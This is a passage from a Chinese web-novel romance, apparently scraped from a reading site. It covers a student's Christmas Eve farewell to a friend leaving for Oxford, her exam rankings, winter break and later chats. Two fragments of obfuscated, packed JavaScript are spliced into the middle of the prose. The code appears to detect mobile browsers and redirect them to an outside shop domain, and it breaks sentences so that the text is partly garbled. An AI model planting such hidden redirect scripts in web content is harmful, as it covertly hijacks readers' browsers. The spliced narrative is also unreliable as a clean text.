祝岁祯愣了一下,手伸进去,摸到一个毛茸茸的小东西,像是个巴掌大的小挂件? 俞惟叙神神秘秘地说:“给你的牛津小熊,别告诉你舍友。” 祝岁祯有点不好意思地笑了笑:“谢谢。”她转念一想,有些懊恼,“哎呀……你怎么又送我东西,上次你那个香薰……” 俞惟叙立刻回她:“这不贵,就是个小玩意儿。给你们买礼物的时候,店里有几个中国游客在挑小熊,我听她们说什么……‘挑脸’?就是说这批小熊每个长得都不一样,她们在挑长得好看的。” 有人上楼,俞惟叙和她停下来让了让,正好跟前面舍友们再拉开些距离:“我等她们走了以后,在那里挑了一会儿,然后就觉得这个小熊像你。” 祝岁祯无语:“像我?……” 俞惟叙笑道:“你回去看看,真的像你。憨憨的。” 祝岁祯瞪大眼睛:“什么!!!” 走出大厦,俞惟叙指了指马路对面的停车场:“我车在对面,你们直接回学校吗?” 鸡哥嚎了起来:“啊啊啊啊……俞小帅,你什么时候再回来啊……” 箫剑和大黄上前抱住他,四个男生你侬我侬,女生们嫌弃:“咦惹……真是受不了你们了……” 大家和俞惟叙挥手告别,祝岁祯看着他一个人转身踏上斑马线,孤独又潇洒地离去。 梦梦想去那家很火很有名的枣糕王看看,如果排队不算多的话就买点。男生们回宿舍,女生们往西走。 可惜不巧,周末人还是很多,小小的朴实无华的店面门口,排的队巨长,中间甚至还拐了道弯又排了好多人。 究竟是有多好吃啊…… 四人正排着队,祝岁祯手机来消息了。 俞惟叙:【回宿舍没】 祝岁祯:【在五道口排枣糕王】 俞惟叙:【你们没吃饱?】 祝岁祯:【不是,既然出来了就去买点,听说很火】 俞惟叙:【行吧。小熊是不是很像你】 祝岁祯:【还没看,一直跟舍友在一起,你不是说,不让她们知道么】 俞惟叙:【好吧,等你看了告诉我】 祝岁祯手插在口袋里来回捏着小熊,想拿出来看看,但又怕舍友们瞧见,招来没完没了的盘问。 旁边小羊正在说她和大黄晚上要去西城区的一个教堂,那里有很漂亮的圣诞灯树。祝岁祯插了句话进去,说自己想回宿舍用卫生间。 然后被舍友们批准离队。 她往学校走,拿出口袋里的小熊。 巴掌大的小东西,浅咖色的毛绒身子穿了件深蓝色的绒布卫衣,卫衣正面有牛津校徽和名字的刺绣,可可爱爱憨态可掬。 等会儿……俞惟叙说这个像她?!像个锤子!哼! 她本来怒气冲冲地拿出手机,准备跟他理论一番,但在解锁的时候突然放弃了。 嗐,开个玩笑,没必要较真儿。 拿着小熊从学校西北门进去,她先去门口超市买了瓶椰子水喝,缓解火锅的热辣油腻。旁边水果店门口的小桌子上,摆了一个包装得像礼品的小盒子。 店主正在外面理货,觉察到她的目光后热情说道:“美女,买个平安果吧。” 见她站着没说话,店主继续推销:“听学生说,你们学校食堂和学三的超市,平安果都卖光了。他们专门跑到我这里买,这就是最后一个了。” 祝岁祯问了下价钱,老板说:“本来卖二十的,最后一个了,给你便宜点,十五。” 嚯,一个苹果套个盒子,居然卖十五! 但想起俞惟叙说的圣诞节,和刚才小羊说的平安夜,搞得她实在有些心痒痒。 结果就是痛失十五元大洋! 买完慢悠悠地朝南走,这条路左手边是M大校园,右手边是家属区。十分钟后,她正准备往左拐回宿舍,却看到右边刚好是19号楼。 俞惟叙租的那套房子好像就在这里。 她鬼使神差地右转,绕过两栋楼中间的绿化带,往楼的另一头眺望了一眼。 嗯?等下,楼旁马路边那辆低低矮矮的银灰色车子,是他的法拉利吗? 他没回家? 祝岁祯好奇地缓步朝那辆车走去,上次军训的时候天黑,她没看清,这次想仔细瞧一眼豪车。 但走到一半,又怕撞见俞惟叙,显得她一副没见过世面的样子,让他笑话。 虽然不知道他在不在,但她还是回去吧。 祝岁祯刚决定放弃,扭头往宿舍走时,俞惟叙从单元楼里出来,朝学校的方向瞥了一眼,恰巧看到个熟悉的身影。 “祝岁祯?” 她不可置信地回头。 也太巧了……吧! “嘿?真的是你!”俞惟叙笑了,朝她走过来。 祝岁祯也往他那边去,装作毫不知情:“你怎么在这儿?没回家啊。” 俞惟叙扬了扬手里的书:“过来拿东西……大冷天的怎么还喝椰子水?椰子成精了你。” 祝岁祯抬了抬下巴,傲娇道:“我们椰子界的事,你少管。” 俞惟叙嘴角上扬:“好好好,我不管,你舍友们呢?怎么就你一个。” 祝岁祯晃了晃手里的水:“渴了,她们还在排队买枣糕,我不想等。” “哦……这个是什么?”俞惟叙指了指苹果,“谁送你的礼物?” 祝岁祯拿起盒子:“我自己买的苹果。今天是平安夜。” 俞惟叙表情出现了几秒的空白。“有什么关系吗?” 祝岁祯笑道:“平安夜吃平安果,你不知道吗?” 俞惟叙看了看盒子,看了看她:“你自创的?” 祝岁祯无语:“什么我自创的……很多年的传统了,这还是洋人节呢,你居然不知道?” “从来没听说过。”俞惟叙怀疑祝岁祯可能真的是椰子精变的,过着奇怪的习俗,“平安夜一般都装扮房间、家人聚在一起吃大餐之类的。” 祝岁祯想了想,这话从俞惟叙嘴里说出来,可信度还是蛮高的,毕竟人家在国外待这么多年了。 所以吃苹果的习俗到底是哪里来的?她也不知道。 不会真的是国人自创的谐音梗吧? 她只好转移话题:“你家里过圣诞吗?” “不过。但我基本上圣诞回家,所以算是变相过了。” 祝岁祯明白了,然后把手里的平安果递给他:“那就送你一个平安果吧,祝你在英国平平安安。” 俞惟叙狐疑地接过来:“真是苹果?我能拆开看看吗?” “拆呗,”祝岁祯挑眉,“老板说最后一个了呢,食堂和学三超市都卖光了。” “真的假的,祝岁祯你骗我玩儿呢是吧……” 俞惟叙不说话了,他打开看了眼,还真是苹果。 他把包装恢复,觉得自己受到了一点点文化冲击,但很快“入乡随俗”: “这,平安果有什么讲究吗?比如几点吃之类的。” “呃……不知道,应该就今天吃完吧?毕竟叫这个名字。” 俞惟叙把盒子轻轻颠了颠:“好,听你的,谢谢。” 没什么能聊的了,刚才吃火锅的时候大家太好奇,问了他许多问题,祝岁祯跟着听了不少。 比如俞惟叙28号就又要走了。牛津3月份会再放一个多月的春假,但俞惟叙说他那个假期不准备回国,依然有自己的事要忙。 然后6月中旬放暑假,一直到10月中旬。他说他这中间应该会回来一趟,不会待太久。 祝岁祯犹豫道:“那,我就,先走啦?你是不是要回家,不占用你时间了。” 俞惟叙把书本夹在左胳膊下,苹果也放左手。 “握个手吧,下次再见,得好久了。” 祝岁祯看着面前修长如玉、又宽大有力的手,有些不好意思地笑着伸出右手。 立刻被他的大掌握住了。 他的手热乎乎的。 “手这么凉。椰子水回宿舍再喝,别冻着你。” “好。” 她想抽回手,对方却不松开。 “你寒假干什么?” 祝岁祯的注意力被转移,只顾着想,忘了手还在他那里: “回家过年呗,然后我还报名了社会实践,回高中去宣传咱M大,鼓励高三生报考。别的没了……可以啦松开吧,还握手呢,你干脆把我带去英国好了。” 俞惟叙咧开嘴,拉着她:“走,跟我走,现在就走。” 祝岁祯干脆利落地拒绝:“不要,我还有考试,你自己去吧,拜拜不送。” 俞惟叙笑着拿起苹果,轻轻在她头上碰了一下。 祝岁祯夸张地捂着头顶:“你把我脑子里的知识砸没了怎么办,我可是要冲排名的人!” 俞惟叙淡定地看着她演:“不可能,人家牛顿被苹果砸了之后,为学术界做出多大贡献?你这一砸,起码年级前十。” “切,我信你个鬼。走啦,拜拜!” 祝岁祯挥挥手,转身 。 俞惟叙的声音从身后响起: “记得好好学习。100块。” 她一边走一边回头答:“知道啦!” “和异性保持距离。” 祝岁祯背着他无语翻了个白眼,回头用手比了比两人之间越来越远的距离:“正在保持。” “多喝水,北京干。” 她不走了,回头站定:“开车慢点,路上小心。” 两个人都没再说话,同时挥了挥手。 俞惟叙转身走向车位,祝岁祯静静地看着他的背影,宽肩长腿,优雅随性。这样的男生不管在M大、还是在牛津,都相当受欢迎吧。 人家这么有钱、这么帅、还这么努力。自己更没什么理由偷懒了。 她转身,朝宿舍走去。 背后传来法拉利离开的低沉轰鸣,祝岁祯穿过马路,即将进入宿舍区的时候,学六宿舍下站了一个人,那人面无表情、直勾勾地看着她。 正是被她无视了一上午的辛君。 但眼下这狭路相逢,人家也看到她了,无论再尴尬也得打个招呼。 “学长好。” “我不好。” 祝岁祯:…… “最近期末周,学长又忙学生会,应该很累吧。好好休息,加油。我也得赶紧回去复习了,拜拜。” 生怕他再说什么,祝岁祯赶紧绕开一点,溜之大吉。 辛君想拦住她,但到底身为学长,又是学生会的副部长,多多少少要点脸面。 事情再清楚不过了。 他没等到祝岁祯的消息,准备先去五道口购物中心买个礼物,或者干脆买束花。 祝岁祯猜对了,他确实是打算表白的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313098|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >自从和白声清提了分手,他爸妈不知道骂了他多少次,每天都在轰炸他让他去道歉和好,但他心里装着一个人。 只要把祝岁祯追到手,让父母看看,他们一定会闭嘴。 可就在刚刚,在去五道口的路上,他目睹了祝岁祯和那个据说去牛津交换的俞惟叙,两人拉着手的场面。 那一瞬间,他全懂了。 祝岁祯原来根本不喜欢他,一直在敷衍搪塞他。 他不用再去买什么东西了。 -.- 祝岁祯晚上睡前刷朋友圈,第三个居然是俞惟叙发的。 【平安夜吃平安果】 两张图片,一张是餐桌照,菜品摆盘精致典雅。第二张她熟,这不就是她的那个苹果吗?盒子和苹果分开放,照片的一角出现了只猫爪。 定位在雍和宫京兆尹。 她去软件上查了一下这家餐厅,跳出来的人均价格让她迅速退出。 别让大数据以为她吃得起,以后给她推荐的都是人均大几千的贵价餐厅就不好玩了。 再往前刷,朋友圈里有几条动态是梦梦、小羊、大黄、箫剑发的,内容差不多,就是两个宿舍的聚餐照。评论纷纷惊呼俞惟叙居然回来了之类。 她把这几条点了赞,放下手机睡觉。 就在俞惟叙离京的那天,教务系统出了两门考试的成绩。 祝岁祯虽然不觉得题目难,但输入学号的时候,手还是微微在抖。 屏幕一闪,出现一个表格,里面是两行成绩。 【98】 【100】 她长舒一口气,绽开笑容。 祝岁祯之前看到句话:这世上除了学习,没有什么事是努力了一定有回报的。 她的回报来了。 舍友们问她为什么不报学生会,她说要看书;舍友们问她初雪为什么不去故宫,她说要刷题;舍友们问她为什么这么卷,她不好意思地笑笑:我复读来的,没有你们聪明,不是卷,只是为了能赶上你们的水平。 宿舍床下这一方桌子、小小的台灯、散发出温暖香气的香薰蜡烛,日复一日苦行僧般的生活,在记忆中变得泛黄而模糊。 那些点滴时光汇聚、压缩、变成黑色的数字镌刻在教务系统,明明白白地告诉她,那些日子都不是假的,她的辛苦也不会被浪费。 舍友们炸了。 连相对来说比较努力的远文,也只考了90分出头。小羊比梦梦好点,一门80+、一门70+。 梦梦的主要精力都放在做账号和追星了,有时双休日极限往返首尔和北京,忙得不可开交,能保住不挂科已经谢天谢地了。 祝岁祯变成宿舍里的学霸。 从此以后,她除了学自己的,还要给舍友们补课。老师划完重点,她再把老师上课反复讲过的、她预测一定会考的,帮她们圈出来。她们有不会的,也来找她答疑。 考试一门接着一门,分数也滞后一个星期地一个个被录入系统。 祝岁祯成绩很稳,没有低于95的,但学院里学霸不止她一个,根据小羊和梦梦的情报,和她成绩差不了几分的人大概有四五个。 她管不了这么多,知道别人的成绩毫无用处,她只能尽量一分一分地争取,排名榜上前后脚同学们的成绩相差非常小,有可能就差一分,就能拿到奖学金了。 一月的第二周,最后一门考完,她终于可以松口气了。学校15号放假,但考完的就可以走了。祝岁祯一交完卷就回宿舍收拾东西。 整理桌面时,她拿着香薰杯去洗漱间,把里面残余的、已经没有香气的蜡质刷干净,然后拿出俞惟叙送的笔,装进杯子里放桌上。 再拿出抽屉里的牛津小熊,摆在杯子旁边,用迷你热气球挡住了小熊衣服上的标志。 热气球是小羊爸妈趁着淡季,去土耳其旅游带回来的纪念品,小羊给舍友们一人送一个。 调整好位置,她拍了一张照片,还颇有闲情逸致地用软件选了款滤镜,定位学校,发朋友圈。 【感恩所有,祝大家寒假快乐】 冬天衣服厚,这次她拿了大行李箱。用件厚外套把一个新香薰杯里三层外三层裹起来,一路小心翼翼地带回家。 因为是工作日,爸妈还没下班。祝岁祯到家后把行李箱的东西取出来归置好。家里没有什么烟雾报警器,她终于可以放心大胆地点燃蜡烛。 火苗摇曳,比融蜡灯的氛围感更强,她拿出笔记本,开始做学校宣传PPT。 可她没做两张,就看着蜡烛火苗发起了呆。 俞惟叙在干嘛呢?这会儿英国估计快到吃午饭的时候了吧? 她决定骚扰一下某人,拍了张蜡烛照片,发给俞惟叙。 祝岁祯:【谢谢你的香薰蜡烛,很漂亮,薄荷茶香味超好闻】 过了两分钟,他回复了。 俞惟叙:【不用谢。果然香薰这种东西还是更适合女生】 俞惟叙:【我刚看你朋友圈,放假回家了?】 祝岁祯:【对,下午到的。你吃饭了吗?】 俞惟叙:【刚出门,今天去吃泰餐】 俞惟叙:【要视频吗?不想打字了】 祝岁祯:【什么?!】 俞惟叙直接一个视频电话打了过来。 祝岁祯吓一跳,连忙理了下头发和衣服,接通。 俞惟叙的笑脸出现在屏幕上,这笑容多少有点蔫儿坏:“你到家了?” 祝岁祯把手机放在支架上:“对啊,你这是……在外面。” 俞惟叙把镜头转换,给她看周围的景色:“这个白色的house,是我租的地方,然后,”他转了一圈,“这条街,这些基本都是出租给牛津师生的。” 祝岁祯凑近了看屏幕,这条街的房子大多都是三层橘棕色砖房,有的带了第四层的三角阁楼。整整齐齐的楼房上嵌着墨绿色或白色的田字格窗户,浓浓的英伦风扑面而来。 街道两边停着私家车,地上湿嗒嗒的,天上阴云密布,整条街笼罩着一种又明亮又阴郁的氛围,很像电影画面的质感。 “哇,这景色,绝了。”祝岁祯看着同一时刻异国他乡的转播画面,感叹世界的奇妙。 俞惟叙把镜头切回来,对着自己,一边走一边和祝岁祯聊天:“我住的这个地方,离我们学院走路十来分钟。天气好的时候我骑个自行车去,下雨就走回来。” 祝岁祯仔细看着街两边的建筑,看见哪个觉得好奇就问他,俞惟叙饶有兴趣地给她介绍,这个是小旅馆、那个是共享办公空间、那边是学生公寓、斜对面那个是其他学院的图书馆。 祝岁祯这才知道,牛津大学并不像中国大多数大学一样是一整个校区。他们学校有几十个学院,零零碎碎地分布着,每个学院单独招生,各学院有重叠的专业。 几分钟后,俞惟叙到餐馆。不愧是泰餐,店里的装饰非常东南亚风,他点了两道菜之后,问祝岁祯在干什么。 祝岁祯说和高中老师联系好了,明天趁着自习课去学校宣讲,她被安排了两个班级,完成任务的同时给学弟妹们们答疑,双向帮助。 俞惟叙对他们高中周六日还要上学的制度表示震惊,感叹孩子们的不易。 但他现在也没好到哪里去,学院发了邮件,开学立刻就有考试,所以他和课题组的几个同学最近都在复习,也是蛮紧张的。 这时俞惟叙好像突然看见谁,笑着打了声招呼。祝岁祯屏幕里冷不丁冒出来一个白人男生的脸,她吓了一跳。 “我同学。”俞惟叙解释道。 “Hey,hello!”那人热情地跟祝岁祯打招呼。 “哈喽……” “Your girlfriend?”那人问俞惟叙。 祝岁祯反应过来,他同学在问,她是不是俞惟叙女朋友。 啊这…… 25. 第二十五章 祝岁祯生怕他同学误会,万一俞惟叙因为她,在国外被开玩笑说闲话,那她可真是要愧疚坏了。 她慌张地摆摆手:“No……No……No……” 见她极力撇清两人的关系,俞惟叙眼中闪过一丝不易觉察的失落。 不过他瞬间调理好了,她这反应倒也正常,不是还念着她那“亡夫”么……连新恋爱都不谈了。 他和同学解释了下,说这是他在中国的同学。 那男生问俞惟叙她有没有男朋友,为什么这么漂亮的女生你不追……俞惟叙被问得有些尴尬,瞟了眼祝岁祯的反应,怕她不高兴。 祝岁祯其实根本没听懂。 视频里的声音混着餐厅的音乐,她听不太清。而且这个外国男生说得太快,还带着意大利口音……她英语听力本来就很弱,大脑里的同传翻译“嘎巴”一下直接死了。 见俞惟叙那边要吃饭,祝岁祯赶快和他结束通话。 -.- 市一中高三(七)班,是除了培优班之外成绩最好的班级,前十名有希望考入985,前三十能冲刺211,虽然和两个培优班还有点差距,但已经被校领导寄予厚望。 这个班成绩的提升,得益于换了班主任,也正好就是祝岁祯的复读班班主任。 “下面,有请你们祝岁祯学姐介绍M大,同学们鼓掌欢迎!” 学生们听到这个名字,明显躁动了起来,交头接耳。这个学姐很有名,长得超级漂亮,而且,还有不少瓜。 祝岁祯有些“近乡情更怯”,从门外进来走上讲台,在掌声和惊艳的目光中鞠了一躬。 她拿起讲台上的扩音麦,笑了一声:“好熟悉的小蜜蜂,没想到有朝一日我也能用上。” 讲台下有低低的笑声。 她拿着遥控器,看向黑板旁的教学大屏:“我的情况很简单,去年高考后去了M大金融学院。 “我知道大部分同学们,现在可能对报什么大学专业还没有想法,我也一样。但没关系,你们先闷头把高考成绩提上去就好了,未来有很多时间让你们去探索。” 然后祝岁祯对着PPT,开始介绍学校优越的地理位置、周边环境、建校历史、各学院优势专业以及学校的建筑设施。然后着重介绍了金融学院的各项优势。 最后她列出最近三年M大在本省的招生人数、一本线、最高最低平均分数以及对应的省排名,鼓励大家积极报考。 看到班主任在帮她拍摄照片,她放下心,准备结束任务,让大家积极提问。 其实应该没什么人会提问,很多学弟学妹都挺腼腆,她也是这么过来的。 “学姐!我有问题!” 她刚这么想着,就有个学弟举手。 祝岁祯循声望去,突然愣住。 这不是何希簏吗?他怎么来一中了!! “呃……请讲……”她收了收惊讶的神色,等回头再说。 何希簏站起来跟个长颈鹿似的,瘦瘦高高的清秀少年眼神热切地望着她。 “学姐好,我是从二中转过来的。这里优秀的同学太多了,我很焦虑,请问学姐有什么克服焦虑的好办法吗?谢谢。” 祝岁祯:…… 班主任:嗯???! 同学们:哈???! 第一排有个男生立刻跟祝岁祯打小报告:“学姐你别信他的!这傻叼一转来模拟考就考了我们班第二!” 讲台正下面一个女生跟旁边同桌说:“就是为了引起学姐注意吧啊哈哈哈……” “呃……这个嘛……”祝岁祯努力组织语言。 “根据自己的情况,列个学习计划吧,先从简单的做起。完成一个的时候就给自己个小奖励,建立正向反馈机制。我觉得这样应该可以抵消一些焦虑的情绪。” “谢谢学姐,我还有个问题。”何希麓继续为难她。 祝岁祯好惆怅,这小子到底要怎样,有什么不能私下问吗! “请讲。” “学姐,我看M大金融学院的分数挺高的,我如果能上M大,但是不够去金融学院,怎么办?” 同学们都在偷笑,有人在他旁边说:“你到底是想去金融学院啊,还是想见学姐啊?” 听到这话,全班哄堂大笑。 祝岁祯没听太清,但觉得大概不会是什么好话,她懒得再问。 “大家入学的时候,可以去关注一下学校有没有转专业的政策,一般需要成绩排名靠前才能申请。” 别人没问题了,这个班的实践项目终于结束。 然后有个培优班也请祝岁祯去讲了一遍。 她临走的时候,满意地刷着相册里的照片,这些可都是她的学分啊! 她不参加学生会,也不参与学校非强制性的活动,除了课程考试,没有任何能加学分的东西。就指望着假期的实践活动挣学分了。 过了几天,高中同学们陆续放假回家,有人组织了班级聚会,祝岁祯看到共享表格里申越的名字后,果断不去。 本来就怕被老同学们提到路齐江,申越如果也在,那就更没法儿去了。 正好她和复读班同学们的感情也极其淡薄,毕竟大家都不要命地冲刺高考,平时都很少讲话。 -.- 1月底,所有科目的成绩都出了,祝岁祯看到教务系统的分数后,大大松了一口气。很好,下半学期继续保持这个学习强度,大一的绩点肯定稳了。 2月初,学院赶在过年前公布了排名,导员在群里发了链接,让大家自己查,有疑问的可以申请复查。 祝岁祯看到链接的第一时间,面朝北方跪在了沙发上,双手合十中间拿着手机,嘴里念念有词:“苍天保佑让我大二拿到奖学金……” 爸妈看到她这个神神叨叨的样子,都惊呆了。 她一边念叨,一边输入学号密码,排名出来的时候她不敢相信自己的眼睛! 班级第一、年级第三! 啊啊啊啊啊啊啊!!! 她扔了手机抱着妈妈转圈圈:“啊啊啊啊啊妈!我年级第三啊啊啊啊啊啊!!!” 祝金爀拿起她扔到沙发上的手机,一看,确实是。 “哟,你之前天天说在宿舍自习,我以为你骗我呢,居然是真的?”祝金爀脸上露出笑容。 他没指望自家闺女能考成什么样,大学嘛,不挂科就行了,不然还得提前返校补考,他们办公室有同事家的小孩就重考了。 甄念也开心地抱住祝岁祯,说:“哎呀我宝贝闺女辛苦啦!在一百个这么优秀的同学里排第三名!今天想吃什么?妈给你做。” 这时远文在宿舍群里艾特她,问她名次。 祝岁祯淡定地发了个:【班1年3】。 群里明明只有四个人,却一连串出现了十几个【卧槽】,她们仨轮流重复循环…… 梦梦立刻跑去班级群炫耀:【老铁们,咱班的第一名,花落我寝哦吼吼吼吼!颤抖吧凡人们hiahiahia~】 下面纷纷猜测: 【祝岁祯吧?】 【肯定是祝岁祯】 【她几乎都是满分】 窥屏的祝岁祯表示无奈。 为什么都知道她的成绩!宿舍这几个人,都是大嘴巴啊大嘴巴。以后有什么不能让别人知道的事情,也不能告诉她们。 不一会儿,俞惟叙发来红包。 俞惟叙:【小看你了啊,居然还是个隐藏的学霸】 祝岁祯心安理得地收下了。 祝岁祯:【承让承让,可能是同学们还没开始发力】 因为要上一对一导师课,俞惟叙没办法跟她再多聊。这倒是提醒了祝岁祯假期看看书,她从图书馆借了三本书回来,还没打开过。 -.- 寒假里她不怎么出门,在家看看视频、学学习。春节时跟着妈妈回了一趟外婆、外爷家,老爸回奶奶家。 这是多年的惯例了,小时候全家人是一起回奶奶家的,但是奶奶特别重男轻女,对甄念也没个好脸色。 祝岁祯依稀记得,小时候她发现奶奶好像不喜欢她,于是过年时把奖状什么的带去奶奶家,想让奶奶喜欢自己夸自己。 大伯看到她的奖状,对自家儿子说:你看看人家祯祯,学习多好。 表哥被爹妈当众教育,觉得丢人,跑去和奶奶诉苦。 谁知奶奶居然说祝岁祯小小年纪心思太坏,故意让兄弟在这种场合出丑下不来台。女孩子家学习好有什么用,都是被她妈带坏了,长得像妖精、做派也不正。 这一下可把甄念给气了个半死。 甄念和祝金爀恋爱的时候,婆婆就没给过她好脸色,觉得儿媳把儿子勾引走了,祝金爀有了漂亮媳妇就忘了娘。 那些甄念都能忍,毕竟跟婆婆一年也见不了几次面,何必闹得大家都不好看。这次绝对不能忍了,竟然用这么歹毒的话污蔑一个几岁的小孩子! 甚至这孩子是她亲孙女。 甄念说什么都不依,把碗摔得粉碎,放出狠话:“我和我闺女,这辈子也不会再来你家,你死了我们也不会来吊孝!”把祝岁祯小手一牵,直接回了娘家。 祝金爀两头没办法,再想让媳妇过年回自己家,那是万万不可能的事。但他作为儿子,过年不回家简直是不孝。 于是只好让老婆带闺女回娘家、自己去孩子奶奶家。初二去岳父母家坐坐,下午带老婆孩子回来。十几年就这么凑合着,两边倒也没再出过什么岔子。 今年春节却有些不一样,祝金爀的妈、大哥都表示祝岁祯也是大姑娘了,还去了首都名牌学校,大过年的该回正儿八经的老家,总是去外婆那里算个什么事?嫁出去的女儿泼出去的水,甄念一个外人大过年的往别人家跑什么。 一向在老妈和大哥这里唯唯诺诺的祝金爀,这次变了个样,多亏了闺女给他扬眉吐气,说话腰板儿也直了。 “妈,大哥,现在都什么年代了,什么你家我家的,她们娘儿俩爱去哪儿去哪儿,我可管不着。” 他磕了个瓜子,接着说:“咱这小地方,太传统。祯祯说她班里同学,好多都是大城市的,人家过年根本都不串亲戚了,直接全家去国外度假。” 老人一听,觉得不可理喻:“那还是中国人吗?!这可是咱们中国几千年的老传统!根都丢了!做人可不能忘本。你去跟祯祯说,让她回来,一家人都等着她呢。” 祝金爀也不反驳,心里觉得好笑。当初女儿出事,没一个来帮忙的。现在看祯祯有前途了,才开始想对她好。 大哥祝金显说,他今年开始,跟一家非常有名的高端家居品牌——观鱼,签了供货合同,以后公司的生意会越来越好,说不定也做到什么世界五百强、上市大公司。 还拍了拍老人坐的沙发给弟弟看,说这就是那个品牌出的一款主打产品,这一套沙发正价七万多呢,他自己都舍不得给家里添置,但买来孝敬亲妈。 老人满意地笑了,告诉祝金爀以后祝岁祯学成回来,让她来大伯公司帮忙。 祝金爀脸上应付着,心里想的却是自家闺女才不来你这小厂子,她可是要进大公司、以后当官的。 春节过后,楼上何希簏大姑家的孩子回外地上班,房间空了出来,何希簏又出现在她家的饭桌旁,说他千辛万苦转来一中,就是为了当她的学弟,沾沾她的好运。 祝岁祯也是无语:上次国庆,你家亲戚不在,才让你来楼下吃饭的。这次你家里有人,怎么还来蹭饭……这个小区离二中近,但离一中不近啊,你在自己爸妈家待着不行吗? 而且何希簏每次来,都会给她找些稀奇古怪的难题让她解,祝岁祯都快愁死了,看见他就头大。 不过好在一中高三开学很早,为了让学生们争分夺秒备考,怕他们在家待爽了把知识都忘了。祝岁祯这才又轻松下来。 香薰蜡烛烧完,祝岁祯的假期也结束了。 伴随着新学期开学,四级成绩也在全国考生们的紧张期待中公布。 祝岁祯拿到了一个非常6的成绩:666。 这个成绩超出了她的预料,因为之前听说有的大企业招聘,对四六级成绩有要求,比如550+,所以祝岁祯对自己定的要求是600分以上。 这次能比目标高60多分,让她的信心提升了不少。保持这个学习的劲头,等6月考六级的时候,应该也能拿到600分吧。 但当她英语课间和同学们聊成绩时,才发现她那分数根本不算什么。毕竟是快班,大家英语水平都不差。 班里甚至有几个准备毕业去英美留学的同学,四级直接干到680分了。有个在准备材料,想大二去墨尔本大学交换的女生,也考得比祝岁祯高。 都是卷王啊卷王…… 祝岁祯依旧扎根在宿舍书桌前和教室。梦梦看她学习这么认真,也不太好意思总找她一起录vlog。 梦梦现在vlog的粉丝数超过五千了。大多数粉丝关注她,主要是想跟着她的每日计划一起减肥。她的变化真的很明显。 梦梦减肥之后,她的爱豆每次见到她都认不出,直到梦梦告诉他昵称之后,爱豆才惊讶地反应过来。 甚至那位爱豆在一次直播中提到她,说自己在回归期减肥、训练很辛苦,但想到有一位粉丝每次来见他的时候都瘦了一圈,他就觉得获得了动力,希望给爱他的粉丝们展现出自己最好的样子。 梦梦看那场直播的时候眼泪唰唰掉,觉得付出终于有了回应。 然后她在自己的追星账号发了小作文。说自己虽然常开玩笑,称爱豆是自己和大家的老公,但追星的意义或许就是爱豆和粉丝都互相鼓励、双向奔赴、成为更好的自己、在这个残忍的世界里怀着爱意和期待活下去。 这篇感情真挚的小作文一发,她的粉丝数在两天内暴涨六千,直接突破两万大关。 Vlog账号的粉丝数也嗖嗖涨了两千,甚至把广告商都吸引来了,想跟她合作带货。 舍友们都惊呆了,她前期那么辛苦地到处拍素材、每天努力运动控制饮食减肥,飞来飞去参加签售、粉丝会和演唱会之类的活动……粉丝数涨得像乌龟爬。 但就这么随手写的一篇小作文,爆了。 流量真是个迷。 -.- 阳春四月,班里本来想组织春游,但北京的柳絮、杨絮飘得实在太厉害,有几个同学过敏,只能不了了之。祝岁祯却突然收到俞惟叙的信息。 俞惟叙:【北京已经在飞毛毛了?你过敏吗?】 祝岁祯:【我不过敏,但是最近出去会戴口罩】 俞惟叙:【那就好。英国这边也快了,差不多四月底、五月初就开始】 祝岁祯:【我以为国外会好一点】 俞惟叙:【都差不多。所以我这两天趁着环境还没有恶化,出去走了走】 祝岁祯:【噢!对哦,你们是不是放春假了?】 俞惟叙:【嗯,3月初就放了,但我三天前才把最近一个课题忙完,终于有点空闲时间可以逛一逛了】 祝岁祯:【大少爷您还过得这么辛苦的话,我等平民真的要羞愧而亡了】 俞惟叙:【不至于不至于,只是碰巧有感兴趣的方向罢了,多花些时间而已】 俞惟叙:【对了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313099|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前些日子从别人那里收了个八枚玉镜头,拍了些牛津的照片,今天刚冲洗扫描出来】 他发了五六张图给她。 不同于手机拍摄的照片,这些胶卷相片质感相当复古,色彩浓郁而细腻,但整体又有种朦胧模糊的感性,配合牛津修道院和巴洛克风格的古典建筑群,连草坪树木都美得惊心动魄。 祝岁祯:【哇,真的,超漂亮!你拍得好好!】 俞惟叙:【刚才那些是徕卡拍的,还有几张哈苏的,等我找找】 祝岁祯趁他找图片的时候,迅速查了查徕卡和哈苏。 相机品牌? 相机她只知道佳能、索尼和尼康,这三个牌子的价格就挺贵的了。 当她看到徕卡和哈苏,仅仅机身就大几万、十来万的时候,她对钱已经没概念了……只觉得真好,跟着富二代就是涨见识。 然后去查了查他前面说的什么“八枚玉”。 这是收藏级镜头,上世纪六十年代就停产了,成色好的也得三四万朝上。 俞惟叙发来几张照片。 祝岁祯用过相机,但对摄影其实不太懂,不过还是能看出一些区别。高端相机拍出来的相片,颜色和明暗过渡部分看起来赏心悦目。 祝岁祯:【我能叫你俞摄影师吗?你拍的都太好看了】 俞惟叙:【随手拍的,你上次不是说喜欢这里的街景吗,就发你几张看看】 祝岁祯:【说真的,你要是有空了,可以开个摄影账号,肯定超多粉丝。梦梦那个vlog你还记得吗?她现在粉丝快一万了,还接了广告】 俞惟叙:【嚯,厉害啊。回头把她账号链接发我,我记得你也有出镜?哪几期?】 祝岁祯:【去年的旅游vlog基本都有我,今年暂时只有一期,去了东交民巷,那里有个法院博物馆】 